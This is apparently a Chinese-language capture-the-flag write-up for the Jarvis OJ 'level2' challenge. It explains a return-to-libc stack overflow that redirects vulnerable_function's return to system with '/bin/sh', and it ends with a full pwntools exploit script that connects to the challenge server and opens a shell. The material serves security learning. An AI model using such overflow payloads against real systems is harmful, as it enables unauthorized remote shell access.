思路:这题主演考察return_to_libc,通过覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,传入"/bin/sh"。即可getshell。
1.使用gdb-peda查看是否有保护机制。
2.shift+F12查看是否有可利用函数,这里有"/bin/sh"字符串,没有现成的函数。
3.用IDA打开查看代码,发现调用了system函数。这里我们可以覆盖vulnerable_function返回地址,跳转到system函数,构造栈上的参数,给system传入"/bin/sh",就可以获得一个shell(此处system函数的返回地址可以随便写,因为不需要用到)。具体流程如下:
4.具体代码如下:
# coding:utf-8
from pwn import *
context(arch='i386',os='linux',log_level='debug')
sh = remote("pwn2.jarvisoj.com",9878)
# sh = process("./level2")
elf = ELF('./level2')
_sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'a' * (0x88 + 0x4) + p32(_sys_addr) + p32(0x0) + p32(sh_addr)
sh.recvuntil('Input:\n')
sh.sendline(payload)
sh.interactive()
sh.close()